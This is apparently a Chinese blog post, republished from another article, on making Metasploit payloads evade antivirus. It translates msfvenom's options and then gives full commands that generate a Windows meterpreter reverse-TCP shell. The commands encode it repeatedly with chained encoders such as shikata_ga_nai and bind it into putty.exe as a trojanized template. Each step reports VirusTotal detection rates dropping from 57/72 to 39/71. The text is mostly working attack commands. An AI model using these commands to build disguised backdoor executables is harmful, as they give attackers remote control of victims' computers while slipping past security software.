今天大致把远控免杀的文章看了一遍,前面的几篇基本去实现了一遍,后面的直到第26篇全是讲解工具的,大致浏览了一遍,但是没有一一实现啦!
本文转载于:msf自免杀(VT免杀率35/69)
关于工具篇可以查看:远控免杀从入门到实现–工具总结篇
PS:这个先举例一下啦,具体的后期一定补上。
msfvenom集成了msfpayload和msfencode,2015年之后移除了后两项。再按照某些教程输后两个命令是不行的。
让我们看一下此列表中一些最重要的选项。
-p指定我们要使用的Metasploit有效负载
-e指定我们要使用的编码器
-a指定我们要使用的体系结构(默认为x86)
-s指定有效载荷的最大大小
-i指定用于编码有效载荷的迭代次数 ,即编码次数
-x指定一个自定义可执行文件用作模板 ,即绑定一个外部可执行文件,例如 -x putty.exe
-f 告诉MSF编码器输出格式为XXX。例如:-f exe:则告诉编码器文件格式为EXE。
全部命令:
参考链接:https://www.jianshu.com/p/204874fea1d3
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
# 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--payload-options List the payload's standard options
# 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
# 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
# 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
-f, --format <format> Output format (use --help-formats for a list)
# 指定 Payload 的输出格式
--help-formats List available formats
# 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use
# 指定使用的 Encoder
-a, --arch <arch> The architecture to use
# 指定目标系统架构
--platform <platform> The platform of the payload
# 指定目标系统平台
--help-platforms List available platforms
# 列出可用的平台
-s, --space <length> The maximum size of the resulting payload
# 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
# 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
# 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload
# 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include
# 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template
# 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread
# 保护模板程序的功能,注入的payload作为一个新的进程运行
-o, --out <path> Save the payload
# 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats
# 指定一个变量名
#(译者注:当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码
# 追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
--smallest Generate the smallest possible payload
# 尽可能生成最短的 Payload
-h, --help Show this message
# 帮助
–list可以列出所有的XXX,例如 msfvenom --list encoders 可以查看所有的编码器。可以用此命令查看的还有 payloads,encoders,nops,platforms,archs,encrypt,formats。
在此我们使用 windows/meterpreter/reverse_tcp生成一个原始的payload的exe文件。
msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -f exe -o payload1.exe
在virustotal.com上的查杀率位 57/72,额,百分之九十以上了。
我们可以使用msfvenom --list encoders 查看所有的编码器。
由图可见 cmd/powershell_base64 和 x86/shikata_ga_nai 为两个平级最高的encoder。
在此,我们使用 x86/shikata_ga_nai 生成 payload 。如下,参数 -i 为编码的次数,参数 -b 为避免出现的字符,即当出现此字符时,将会自动转化成其他字符。
msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe
这个payload在virustotal.com上的查杀率依旧为 57/72。
由于 x86/shikata_ga_nai 编码技术是多态的,也就是说每次生成的payload文件都会不一样,因此有时可被查杀有时又不会。另外查杀率也和编码次数有关,但是并不是说编码次数越多越好,超过一定的次数便容易出错。
在此,我们将生成payload绑定在指定的模板上,这里为putty.exe。
payload命令如下:
msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -x putty.exe -f exe -o payload3.exe
此时,在VT上面的查杀率为 39/71,降低了不少。
将上面的2和3方法结合在一起。
此时,我们的payload为:
msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.164.*** LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
在此,我们通过管道,让msfvenom用不同的编码器对payload反复编码。
生成的payload为:(收到加了换行,便于观看,执行时不需要哦。)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.164.*** LPORT=3333 -f raw
| msfvenom -e x86/alpha_upper -i 10 -f raw
| msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe
这个只是一个,相对来说,这种的编码姿势有很多。例如:(收到加了换行,便于观看,执行时不需要哦。)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.164.*** LPORT=5110 -f raw
| msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw
| msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe